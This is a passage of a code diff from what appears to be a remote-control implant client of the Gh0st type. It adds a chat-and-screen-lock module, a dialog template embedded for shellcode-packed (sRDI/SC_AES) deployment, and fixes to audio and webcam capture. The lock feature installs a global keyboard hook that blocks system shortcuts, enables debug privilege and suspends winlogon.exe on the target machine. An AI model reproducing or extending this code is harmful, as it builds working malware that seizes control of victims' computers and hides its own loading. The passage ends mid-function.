std::atomic<bool> m_running{ false };
|
||||
std::atomic<bool> m_started{ false };
|
||||
std::thread m_thread;
|
||||
};
|
||||
@@ -74,6 +74,7 @@ CAudio::~CAudio()
|
||||
WAIT (m_hThreadCallBack, 30);
|
||||
if (m_hThreadCallBack)
|
||||
Mprintf("没有成功关闭waveInCallBack.\n");
|
||||
Mprintf("TerminateThread: waveIn 线程 handle=%p threadId=%lu\n", m_Thread, GetThreadId(m_Thread));
|
||||
TerminateThread(m_Thread, -999);
|
||||
m_Thread = NULL;
|
||||
}
|
||||
|
||||
@@ -21,6 +21,10 @@ extern "C" {
|
||||
#pragma comment(lib,"ffmpeg/libavcodec_x64.lib")
|
||||
#pragma comment(lib,"ffmpeg/libavutil_x64.lib")
|
||||
#pragma comment(lib,"ffmpeg/libswresample_x64.lib")
|
||||
// libyuv 不属于 ffmpeg:硬编前要把 BGRA/RGB24 转成 I420/NV12。以前这条链接声明
|
||||
// 只写在 X264Encoder.cpp 里,一旦 DISABLE_X264_FOR_TEST=1 关掉 x264 就跟着消失,
|
||||
// 硬编 obj 会报 LNK2001。CFFmpegAV1Encoder.cpp 复用本文件的 pragma,这里补上即可。
|
||||
#pragma comment(lib,"libyuv/libyuv_x64.lib")
|
||||
// dav1d (AV1 软解,C 项目) —— 不分 Debug/Release。
|
||||
// build 时启用了 --enable-libdav1d,libavcodec 内部 av1 decoder 引用了 dav1d 符号。
|
||||
#pragma comment(lib,"ffmpeg/dav1d_x64.lib")
|
||||
|
||||
@@ -46,13 +46,15 @@ CCaptureVideo::~CCaptureVideo()
|
||||
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||
{
|
||||
Mprintf("CCaptureVideo call Open\n");
|
||||
HRESULT hResult = S_OK;
|
||||
HRESULT hResult = S_FALSE;
|
||||
do {
|
||||
hResult = InitCaptureGraphBuilder();
|
||||
if (FAILED(hResult))
|
||||
break;
|
||||
if(!BindVideoFilter(iDeviceID, &m_pBF))
|
||||
if (!BindVideoFilter(iDeviceID, &m_pBF)) {
|
||||
hResult = S_FALSE;
|
||||
break;
|
||||
}
|
||||
|
||||
hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter");
|
||||
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
// ChatDialogTemplate.h: IDD_CHAT 的编译后 DLGTEMPLATEEX(内嵌内存模板)
|
||||
//
|
||||
// 用途:加壳部署(EXE + SC_AES/sRDI)的客户端里,ChatManager 的 hInstance 是外壳进程
|
||||
// 映像(GetModuleHandle(NULL)),其资源里只有清单、没有 IDD_CHAT;而载荷 EXE 以裸
|
||||
// shellcode 在壳进程内运行,未注册进加载器,FindResource/LoadResource/CreateDialogParamW
|
||||
// 一律取不到资源(实测 Win11 26200 返回 err=1812 / 59)。此时用下面的内存模板直接
|
||||
// CreateDialogIndirectParamW 建窗,与部署形态无关。
|
||||
//
|
||||
// 数据来源:client/Script.rc 的 IDD_CHAT(DIALOGEX)。DLGTEMPLATEEX 的字符串字段
|
||||
// 一律是 UTF-16,同一份字节既可用于 A 接口也可用于 W 接口;聊天窗口固定用 W 接口
|
||||
// 创建成 Unicode 对话框,否则 MBCS 客户端在非中文系统(德语等)上会按系统代码页
|
||||
// 渲染 GBK 字节,中文全部乱码。
|
||||
//
|
||||
// 重新生成(改动 Script.rc 的 IDD_CHAT 后必须同步):
|
||||
// 1. rc /fo dlg.res dlg.rc (dlg.rc 只保留与 Script.rc 相同的 IDD_CHAT 块)
|
||||
// 2. link /dll /noentry /machine:x64 /out:dlg.dll dlg.res
|
||||
// 3. 从 dlg.dll 的 RT_DIALOG(5) → 106 → 任意语言 取数据块,按 16 字节一行导出。
|
||||
// 当前块 240 字节:CAPTION "Remote Chat"、FONT 9 "MS Shell Dlg" charset 1、
|
||||
// 控件 ID 1001/1002/1003/1004,与 Script.rc 完全一致。
|
||||
|
||||
#ifndef YAMA_CHAT_DIALOG_TEMPLATE_H
|
||||
#define YAMA_CHAT_DIALOG_TEMPLATE_H
|
||||
|
||||
// DLGTEMPLATEEX 的 DWORD 字段要求模板指针 4 字节对齐;显式声明对齐,避免依赖
|
||||
// 编译器把字节数组放在什么边界上。
|
||||
__declspec(align(4)) static const unsigned char kChatDialogTemplate[] = {
|
||||
0x01, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x08, 0xCA, 0x80,
|
||||
0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x00, 0x9B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x00,
|
||||
0x65, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x20, 0x00, 0x43, 0x00, 0x68, 0x00,
|
||||
0x61, 0x00, 0x74, 0x00, 0x00, 0x00, 0x09, 0x00, 0x90, 0x01, 0x00, 0x01, 0x4D, 0x00, 0x53, 0x00,
|
||||
0x20, 0x00, 0x53, 0x00, 0x68, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x20, 0x00, 0x44, 0x00,
|
||||
0x6C, 0x00, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x44, 0x08, 0xA1, 0x50, 0x03, 0x00, 0x03, 0x00, 0xE5, 0x00, 0x6B, 0x00, 0xE9, 0x03, 0x00, 0x00,
|
||||
0xFF, 0xFF, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x44, 0x00, 0xA1, 0x50, 0x03, 0x00, 0x71, 0x00, 0xAA, 0x00, 0x26, 0x00, 0xEA, 0x03, 0x00, 0x00,
|
||||
0xFF, 0xFF, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x01, 0x00, 0x01, 0x50, 0xB2, 0x00, 0x74, 0x00, 0x36, 0x00, 0x0E, 0x00, 0xEB, 0x03, 0x00, 0x00,
|
||||
0xFF, 0xFF, 0x80, 0x00, 0x53, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x50, 0xB2, 0x00, 0x85, 0x00,
|
||||
0x36, 0x00, 0x0E, 0x00, 0xEC, 0x03, 0x00, 0x00, 0xFF, 0xFF, 0x80, 0x00, 0x45, 0x00, 0x6E, 0x00,
|
||||
0x64, 0x00, 0x20, 0x00, 0x43, 0x00, 0x68, 0x00, 0x61, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
#endif // YAMA_CHAT_DIALOG_TEMPLATE_H
|
||||
@@ -0,0 +1,522 @@
|
||||
// ChatManager.cpp: implementation of the CChatManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "ChatManager.h"
|
||||
#include "ChatDialogTemplate.h"
|
||||
#include "ImageResource.h"
|
||||
#include "Common.h"
|
||||
#include "resource.h"
|
||||
#include <TlHelp32.h>
|
||||
#include <string>
|
||||
|
||||
#if ENABLE_MESSAGE
|
||||
|
||||
// 远程交谈(双向聊天)被控端实现,移植自 SimplePlugins/ChatManager。
|
||||
// 服务端 CChat 对话框发起会话后,被控端在此显示聊天窗口,并支持服务端远程锁定屏幕。
|
||||
|
||||
#define SE_DEBUG_PRIVILEGE 20
|
||||
typedef LONG(__stdcall* RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
|
||||
typedef LONG(__stdcall* SuspendOrResumeProcess)(HANDLE hProcess);
|
||||
|
||||
struct PIDWNDINFO {
|
||||
DWORD dwProcessId;
|
||||
HWND hWnd;
|
||||
};
|
||||
|
||||
// 锁定屏幕相关的全局状态(同一会话内只有一个 CChatManager 实例)
|
||||
static HANDLE g_hProcess = NULL;
|
||||
static SuspendOrResumeProcess g_lpfnNtResumeProcess = NULL;
|
||||
static HHOOK g_hKeyBoard = NULL;
|
||||
static int g_nLocked = 0;
|
||||
|
||||
// 加壳部署用:从本模块映像自建的聊天窗口图标,只建一次,进程内复用(不销毁)
|
||||
static volatile LONG g_lOwnIconsState = 0; // 0=未建 1=建中 2=已建
|
||||
static HICON g_hOwnIconSmall = NULL;
|
||||
static HICON g_hOwnIconBig = NULL;
|
||||
|
||||
static void EnsureOwnChatIcons()
|
||||
{
|
||||
if (InterlockedCompareExchange(&g_lOwnIconsState, 1, 0) == 0) {
|
||||
g_hOwnIconSmall = CreateImageIcon(&__ImageBase, IDI_ICON_MSG,
|
||||
GetSystemMetrics(SM_CXSMICON), GetSystemMetrics(SM_CYSMICON));
|
||||
g_hOwnIconBig = CreateImageIcon(&__ImageBase, IDI_ICON_MSG,
|
||||
GetSystemMetrics(SM_CXICON), GetSystemMetrics(SM_CYICON));
|
||||
InterlockedExchange(&g_lOwnIconsState, 2); // 全屏障,发布句柄
|
||||
return;
|
||||
}
|
||||
// 另一个线程正在建:短暂等待其发布,避免读到尚未赋值的句柄
|
||||
for (int i = 0; i < 50 && g_lOwnIconsState != 2; i++) {
|
||||
Sleep(1);
|
||||
}
|
||||
}
|
||||
|
||||
static DWORD GetWinlogonPid()
|
||||
{
|
||||
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (snap == INVALID_HANDLE_VALUE) return 0;
|
||||
PROCESSENTRY32 pEntry = { sizeof(pEntry) };
|
||||
BOOL rtn = Process32First(snap, &pEntry);
|
||||
while (rtn) {
|
||||
if (strcmp(pEntry.szExeFile, "winlogon.exe") == 0) {
|
||||
CloseHandle(snap);
|
||||
return pEntry.th32ProcessID;
|
||||
}
|
||||
memset(pEntry.szExeFile, 0, sizeof(pEntry.szExeFile));
|
||||
rtn = Process32Next(snap, &pEntry);
|
||||
}
|
||||
CloseHandle(snap);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// 屏蔽 alt+tab / alt+f4 / win 键等系统快捷键
|
||||
static LRESULT CALLBACK KeyBoardProc(int code, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
if (code == HC_ACTION) {
|
||||
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
|
||||
switch (wParam) {
|
||||
case WM_KEYDOWN:
|
||||
case WM_SYSKEYDOWN:
|
||||
case WM_KEYUP:
|
||||
case WM_SYSKEYUP:
|
||||
if ((p->vkCode == VK_TAB && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+TAB
|
||||
|| (p->vkCode == VK_F4 && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+F4
|
||||
|| (p->vkCode == VK_ESCAPE && (p->flags & LLKHF_ALTDOWN) != 0) // Alt+Esc
|
||||
|| (p->vkCode == VK_ESCAPE && (GetKeyState(VK_CONTROL) & 0x8000) != 0) // Ctrl+Esc
|
||||
|| (p->vkCode == VK_LWIN)
|
||||
|| (p->vkCode == VK_RWIN)) {
|
||||
// 低层钩子按后装先调用的顺序排队,直接 return 1 会让链上更早安装的
|
||||
// 钩子(例如同机运行的主控的系统热键转发)永远收不到这些键。
|
||||
// 先沿链传递再返回 1:别的钩子能看见按键并自行决定是否转发,
|
||||
// 本机 shell 仍然被拦住,锁屏效果不变。
|
||||
::CallNextHookEx(g_hKeyBoard, code, wParam, lParam);
|
||||
return 1;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
return ::CallNextHookEx(g_hKeyBoard, code, wParam, lParam);
|
||||
}
|
||||
|
||||
static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
|
||||
{
|
||||
PIDWNDINFO* pInfo = (PIDWNDINFO*)lParam;
|
||||
LONG lStyle = GetWindowLong(hWnd, GWL_STYLE);
|
||||
if (pInfo->dwProcessId == 0 && hWnd != pInfo->hWnd &&
|
||||
IsWindowVisible(hWnd) && GetParent(hWnd) == NULL && (lStyle & WS_MINIMIZEBOX)) {
|
||||
ShowWindow(hWnd, SW_MINIMIZE);
|
||||
return TRUE;
|
||||
}
|
||||
DWORD dwProcessId;
|
||||
GetWindowThreadProcessId(hWnd, &dwProcessId);
|
||||
if (dwProcessId == pInfo->dwProcessId && IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
|
||||
pInfo->hWnd = hWnd;
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// 安装键盘钩子并挂起 winlogon(必须在聊天窗口线程调用,确保钩子有消息循环)
|
||||
static void ChatSetHook()
|
||||
{
|
||||
g_hKeyBoard = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL), 0);
|
||||
HMODULE hMod = LoadLibrary("ntdll");
|
||||
if (hMod) {
|
||||
RtlAdjustPrivilege lpfnRtlAdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress(hMod, "RtlAdjustPrivilege");
|
||||
SuspendOrResumeProcess lpfnNtSuspendProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtSuspendProcess");
|
||||
g_lpfnNtResumeProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtResumeProcess");
|
||||
DWORD pid = GetWinlogonPid();
|
||||
BOOLEAN dummy = 0;
|
||||
if (lpfnRtlAdjustPrivilege) lpfnRtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &dummy);
|
||||
g_hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
|
||||
if (g_hProcess && lpfnNtSuspendProcess) lpfnNtSuspendProcess(g_hProcess);
|
||||
}
|
||||
}
|
||||
|
||||
static void ChatUnSetHook()
|
||||
{
|
||||
if (g_hKeyBoard) {
|
||||
UnhookWindowsHookEx(g_hKeyBoard);
|
||||
g_hKeyBoard = NULL;
|
||||
}
|
||||
if (g_lpfnNtResumeProcess && g_hProcess) {
|
||||
g_lpfnNtResumeProcess(g_hProcess);
|
||||
}
|
||||
if (g_hProcess) {
|
||||
CloseHandle(g_hProcess);
|
||||
g_hProcess = NULL;
|
||||
}
|
||||
g_lpfnNtResumeProcess = NULL;
|
||||
}
|
||||
|
||||
// 解除锁定:恢复鼠标/屏保/任务栏/开始菜单/桌面,并恢复 winlogon
|
||||
static void UnlockScreen()
|
||||
{
|
||||
ChatUnSetHook();
|
||||
ClipCursor(NULL);
|
||||
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, FALSE, 0, SPIF_UPDATEINIFILE);
|
||||
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_SHOW);
|
||||
::ShowWindow(::FindWindow("Button", "开始"), SW_SHOW);
|
||||
::ShowWindow(::FindWindow("Progman", NULL), SW_SHOW);
|
||||
g_nLocked = 0;
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// 聊天文字:Unicode 窗口与 CP936 转换
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
// 聊天窗口是 Unicode 对话框:客户端整体是 MBCS 工程,但聊天窗口用 W 接口创建,
|
||||
// 文字以 UTF-16 存在内存里,与系统 ANSI 代码页无关——德语/日语等非中文系统上
|
||||
// 中文不再乱码。静态标签按系统 UI 语言选择:中文系统保持中文,其余用英文。
|
||||
struct ChatUiStrings {
|
||||
const wchar_t* caption;
|
||||
const wchar_t* send;
|
||||
const wchar_t* end;
|
||||
const wchar_t* self;
|
||||
const wchar_t* peer;
|
||||
const wchar_t* errChars;
|
||||
const wchar_t* errTooLong;
|
||||
};
|
||||
|
||||
static const ChatUiStrings& ChatUi()
|
||||
{
|
||||
static const ChatUiStrings zhChatUi = {
|
||||
L"远程交谈", L"发送消息", L"结束交谈", L"自己:", L"对方:",
|
||||
L"消息未发送:含 GBK 不支持的字符(emoji 或带变音符号的字母)",
|
||||
L"消息未发送:超过 4000 字节上限"
|
||||
};
|
||||
static const ChatUiStrings enChatUi = {
|
||||
L"Remote Chat", L"Send", L"End Chat", L"Me:", L"Peer:",
|
||||
L"Not sent: the message contains characters GBK cannot represent "
|
||||
L"(emoji or accented letters)",
|
||||
L"Not sent: the message exceeds the 4000-byte limit"
|
||||
};
|
||||
static const bool bChineseUI =
|
||||
(PRIMARYLANGID(GetUserDefaultUILanguage()) == LANG_CHINESE);
|
||||
return bChineseUI ? zhChatUi : enChatUi;
|
||||
}
|
||||
|
||||
// 服务端聊天正文一律是 CP936 字节;转成 UTF-16 交给 Unicode 编辑框显示。
|
||||
static bool Cp936ToWide(const char* src, int cbSrc, std::wstring& out)
|
||||
{
|
||||
out.clear();
|
||||
if (!src || cbSrc <= 0) return true;
|
||||
int cch = MultiByteToWideChar(936, 0, src, cbSrc, NULL, 0);
|
||||
if (cch <= 0) return false;
|
||||
out.resize((size_t)cch);
|
||||
return MultiByteToWideChar(936, 0, src, cbSrc, &out[0], cch) > 0;
|
||||
}
|
||||
|
||||
static size_t ChatBoundedStrlen(const char* s, size_t nMax)
|
||||
{
|
||||
size_t n = 0;
|
||||
while (n < nMax && s[n] != '\0') ++n;
|
||||
return n;
|
||||
}
|
||||
|
||||
// 追加一条聊天记录。控件是 Unicode 窗口,即使在 MBCS 工程里也必须用 W 接口,
|
||||
// 否则文字会被按系统代码页转换。
|
||||
static void AppendChatLine(HWND hDlg, const wchar_t* who, const wchar_t* body)
|
||||
{
|
||||
HWND hEditChatLog = GetDlgItem(hDlg, IDC_EDIT_CHATLOG);
|
||||
if (!hEditChatLog) return;
|
||||
|
||||
SYSTEMTIME st;
|
||||
GetLocalTime(&st);
|
||||
wchar_t stamp[64] = { 0 };
|
||||
swprintf_s(stamp, L"%d/%d/%d %d:%02d:%02d",
|
||||
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
|
||||
|
||||
std::wstring text(who);
|
||||
text += L' ';
|
||||
text += stamp;
|
||||
text += L"\r\n ";
|
||||
if (body) text += body;
|
||||
text += L"\r\n\r\n";
|
||||
|
||||
int nLen = GetWindowTextLengthW(hEditChatLog);
|
||||
if (nLen >= 20000) {
|
||||
SetWindowTextW(hEditChatLog, L"");
|
||||
nLen = 0;
|
||||
}
|
||||
SendMessageW(hEditChatLog, EM_SETSEL, nLen, nLen);
|
||||
SendMessageW(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)text.c_str());
|
||||
}
|
||||
|
||||
// 把聊天窗口显式居中到鼠标所在显示器的工作区。模板里的 DS_CENTER 在多显示器布局下
|
||||
// 可能算出负坐标,再被系统夹到工作区左上角(三屏机器上实测稳定复现),所以不依赖它。
|
||||
static void CenterChatDialog(HWND hDlg)
|
||||
{
|
||||
RECT rc;
|
||||
if (!GetWindowRect(hDlg, &rc)) return;
|
||||
const int cx = rc.right - rc.left;
|
||||
const int cy = rc.bottom - rc.top;
|
||||
|
||||
RECT rcWork;
|
||||
POINT pt;
|
||||
MONITORINFO mi = { sizeof(mi) };
|
||||
if (GetCursorPos(&pt) && GetMonitorInfo(MonitorFromPoint(pt, MONITOR_DEFAULTTOPRIMARY), &mi)) {
|
||||
rcWork = mi.rcWork;
|
||||
} else if (!SystemParametersInfo(SPI_GETWORKAREA, 0, &rcWork, 0)) {
|
||||
return;
|
||||
}
|
||||
|
||||
int x = rcWork.left + (rcWork.right - rcWork.left - cx) / 2;
|
||||
int y = rcWork.top + (rcWork.bottom - rcWork.top - cy) / 2;
|
||||
if (x < rcWork.left) x = rcWork.left;
|
||||
if (y < rcWork.top) y = rcWork.top;
|
||||
SetWindowPos(hDlg, NULL, x, y, 0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CChatManager::CChatManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
|
||||
{
|
||||
m_hInstance = HINSTANCE(user);
|
||||
m_hWnd = NULL;
|
||||
m_bRun = TRUE;
|
||||
g_nLocked = 0;
|
||||
|
||||
// 向服务端发起远程交谈,服务端打开 CChat 对话框后会回发 COMMAND_NEXT_CHAT
|
||||
BYTE bToken = TOKEN_CHAT_START;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||||
WaitForDialogOpen();
|
||||
|
||||
m_hThread = __CreateThread(NULL, 0, MessageLoopProc, this, 0, NULL);
|
||||
Mprintf("Chat 构造\n");
|
||||
}
|
||||
|
||||
CChatManager::~CChatManager()
|
||||
{
|
||||
m_bRun = FALSE;
|
||||
// 必须先销毁窗口再等线程:消息循环阻塞在 GetMessageW 里看不到 m_bRun,只有
|
||||
// 收到 WM_USER + 1(DestroyWindow → PostQuitMessage)才会退出。关闭命令没送到
|
||||
// (子连接先断、服务端 WaitSendIdle 超时后 CancelIO)时,旧的先等后销毁顺序会
|
||||
// 死锁在这里,留下一个隐藏的聊天窗口和卡死的线程。
|
||||
if (m_hWnd) {
|
||||
SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
|
||||
}
|
||||
while (m_hThread)
|
||||
Sleep(100);
|
||||
|
||||
if (g_nLocked == 1) {
|
||||
UnlockScreen();
|
||||
}
|
||||
Mprintf("Chat 析构\n");
|
||||
}
|
||||
|
||||
DWORD WINAPI CChatManager::MessageLoopProc(LPVOID lParam)
|
||||
{
|
||||
CChatManager* pThis = (CChatManager*)lParam;
|
||||
HANDLE& hThread(pThis->m_hThread);
|
||||
|
||||
// 聊天窗口必须是 Unicode 窗口:ANSI 窗口会按系统代码页解释文字,非中文系统
|
||||
// (德语等)上 GBK 中文一律乱码。资源里的 IDD_CHAT 是 DIALOGEX,字符串本来
|
||||
// 就是 UTF-16,W 接口可直接加载。
|
||||
pThis->m_hWnd = CreateDialogParamW(pThis->m_hInstance, MAKEINTRESOURCEW(IDD_CHAT), NULL,
|
||||
CChatManager::ChatDialogProc, (LPARAM)pThis);
|
||||
if (!pThis->m_hWnd) {
|
||||
// 加壳部署(EXE + SC_AES/sRDI)时 m_hInstance 是外壳进程映像:资源里没有
|
||||
// IDD_CHAT,而载荷以裸 shellcode 运行、未注册进加载器,资源 API 一律取不到
|
||||
// 对话框(Windows 11 上 CreateDialogParamW 返回 err=1812 或 59)。
|
||||
// 回退:用内嵌的 IDD_CHAT 编译后模板建窗,与部署形态无关。
|
||||
DWORD dwError = GetLastError();
|
||||
Mprintf("CreateDialogParamW(%lu) 失败,改用内嵌对话框模板\n", dwError);
|
||||
pThis->m_hWnd = CreateDialogIndirectParamW(pThis->m_hInstance,
|
||||
(LPCDLGTEMPLATEW)kChatDialogTemplate, NULL,
|
||||
CChatManager::ChatDialogProc, (LPARAM)pThis);
|
||||
}
|
||||
if (pThis->m_hWnd) {
|
||||
SendMessageW(GetDlgItem(pThis->m_hWnd, IDC_EDIT_NEWMSG), EM_SETLIMITTEXT, 8158, 0);
|
||||
CenterChatDialog(pThis->m_hWnd);
|
||||
SetWindowPos(pThis->m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE);
|
||||
// 移除最小化/最大化按钮
|
||||
LONG lStyle = GetWindowLong(pThis->m_hWnd, GWL_STYLE);
|
||||
lStyle &= ~(WS_MINIMIZEBOX | WS_MAXIMIZEBOX);
|
||||
SetWindowLong(pThis->m_hWnd, GWL_STYLE, lStyle);
|
||||
|
||||
MSG msg;
|
||||
// 本线程只拥有这个对话框,整轮循环用 W 版本收发:否则 WM_CHAR / WM_IME_*
|
||||
// 会按系统 ANSI 代码页转换,非中文系统上中文输入法会丢字。
|
||||
// m_bRun 先判断:析构里置 FALSE 后即使没有新消息也要能退出,不能卡在 GetMessageW。
|
||||
while (pThis->m_bRun && GetMessageW(&msg, NULL, 0, 0)) {
|
||||
if (!IsDialogMessageW(pThis->m_hWnd, &msg)) {
|
||||
TranslateMessage(&msg);
|
||||
DispatchMessageW(&msg);
|
||||
}
|
||||
}
|
||||
// 兜底:若循环在窗口销毁之前就因 m_bRun 被清掉而退出(析构执行到销毁之前
|
||||
// 线程就已建好窗口),在同一线程里补一次销毁,避免残留隐藏窗口。
|
||||
if (pThis->m_hWnd) {
|
||||
HWND hWnd = pThis->m_hWnd;
|
||||
pThis->m_hWnd = NULL;
|
||||
DestroyWindow(hWnd);
|
||||
}
|
||||
}
|
||||
|
||||
CloseHandle(hThread);
|
||||
hThread = NULL;
|
||||
return 0;
|
||||
}
|
||||
|
||||
INT_PTR CALLBACK CChatManager::ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
CChatManager* pThis = (CChatManager*)GetWindowLongPtr(hDlg, GWLP_USERDATA);
|
||||
switch (uMsg) {
|
||||
case WM_INITDIALOG:
|
||||
SetWindowLongPtr(hDlg, GWLP_USERDATA, (LONG_PTR)lParam);
|
||||
pThis = (CChatManager*)lParam;
|
||||
SetWindowTextW(hDlg, ChatUi().caption);
|
||||
SetDlgItemTextW(hDlg, IDC_BUTTON_SEND, ChatUi().send);
|
||||
SetDlgItemTextW(hDlg, IDC_BUTTON_END, ChatUi().end);
|
||||
{
|
||||
HICON hIconSmall = LoadIcon(pThis->m_hInstance, MAKEINTRESOURCE(IDI_ICON_MSG));
|
||||
HICON hIconBig = hIconSmall;
|
||||
if (!hIconSmall) {
|
||||
// 加壳部署取不到图标资源:直接从本模块映像里读 RT_ICON 建图标,
|
||||
// 仍失败才退回系统默认图标(共享图标,不可销毁)
|
||||
EnsureOwnChatIcons();
|
||||
hIconSmall = g_hOwnIconSmall ? g_hOwnIconSmall : LoadIcon(NULL, IDI_APPLICATION);
|
||||
hIconBig = g_hOwnIconBig ? g_hOwnIconBig : hIconSmall;
|
||||
}
|
||||
if (hIconSmall) SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)hIconSmall);
|
||||
if (hIconBig) SendMessage(hDlg, WM_SETICON, ICON_BIG, (LPARAM)hIconBig);
|
||||
}
|
||||
return TRUE;
|
||||
|
||||
case WM_COMMAND:
|
||||
if (LOWORD(wParam) == IDC_BUTTON_SEND) {
|
||||
HWND hEditNewMsg = GetDlgItem(hDlg, IDC_EDIT_NEWMSG);
|
||||
int cch = GetWindowTextLengthW(hEditNewMsg);
|
||||
if (cch <= 0) {
|
||||
SetFocus(hEditNewMsg);
|
||||
return TRUE; // 消息为空不发送
|
||||
}
|
||||
std::wstring text((size_t)cch + 1, L'\0');
|
||||
GetWindowTextW(hEditNewMsg, &text[0], cch + 1);
|
||||
text.resize(wcslen(text.c_str()));
|
||||
if (text.empty()) {
|
||||
SetFocus(hEditNewMsg);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// 协议仍是 CP936:UTF-16 → GBK 严格转换。GBK 表示不了的字符(emoji、
|
||||
// ö/ä/ß 等)直接拒发并提示,绝不静默变成 '?'。
|
||||
BOOL usedDefault = FALSE;
|
||||
int nNeed = WideCharToMultiByte(936, WC_NO_BEST_FIT_CHARS, text.c_str(), -1,
|
||||
NULL, 0, NULL, &usedDefault);
|
||||
if (nNeed <= 1 || usedDefault) {
|
||||
AppendChatLine(hDlg, ChatUi().self, ChatUi().errChars);
|
||||
return TRUE;
|
||||
}
|
||||
if (nNeed - 1 > 4000) {
|
||||
AppendChatLine(hDlg, ChatUi().self, ChatUi().errTooLong);
|
||||
return TRUE;
|
||||
}
|
||||
std::string gbk((size_t)nNeed, '\0');
|
||||
WideCharToMultiByte(936, WC_NO_BEST_FIT_CHARS, text.c_str(), -1,
|
||||
&gbk[0], nNeed, NULL, &usedDefault);
|
||||
if (usedDefault) {
|
||||
AppendChatLine(hDlg, ChatUi().self, ChatUi().errChars);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
pThis->Send((LPBYTE)&gbk[0], (ULONG)gbk.size()); // 含结尾 NUL
|
||||
AppendChatLine(hDlg, ChatUi().self, text.c_str());
|
||||
SetDlgItemTextW(hDlg, IDC_EDIT_NEWMSG, L"");
|
||||
SetFocus(hEditNewMsg);
|
||||
return TRUE;
|
||||
}
|
||||
if (LOWORD(wParam) == IDC_BUTTON_END) {
|
||||
// 被控端关闭聊天窗口:仅隐藏对话框,会话保持。关闭交谈始终由服务端发起,
|
||||
// 服务端继续发消息时 OnReceive 会用 SW_RESTORE 重新弹出本对话框。
|
||||
ShowWindow(hDlg, SW_HIDE);
|
||||
return TRUE;
|
||||
}
|
||||
break;
|
||||
|
||||
case WM_CLOSE:
|
||||
// X 关闭按钮:仅隐藏对话框(与「结束交谈」一致),关闭交谈始终由服务端发起
|
||||
ShowWindow(hDlg, SW_HIDE);
|
||||
return TRUE;
|
||||
|
||||
case WM_USER + 1:
|
||||
pThis->m_hWnd = NULL;
|
||||
DestroyWindow(hDlg);
|
||||
return TRUE;
|
||||
|
||||
case WM_USER + 2:
|
||||
ChatSetHook();
|
||||
return TRUE;
|
||||
|
||||
case WM_DESTROY:
|
||||
PostQuitMessage(0);
|
||||
return TRUE;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
VOID CChatManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
// 这里没有心跳包:心跳只走主连接([TOKEN_HEARTBEAT][Heartbeat],且由主连接分发消费),
|
||||
// 服务端从不给交谈子连接发心跳。原先照搬其它 manager 的
|
||||
// if (szBuffer[0] == TOKEN_HEARTBEAT) return;
|
||||
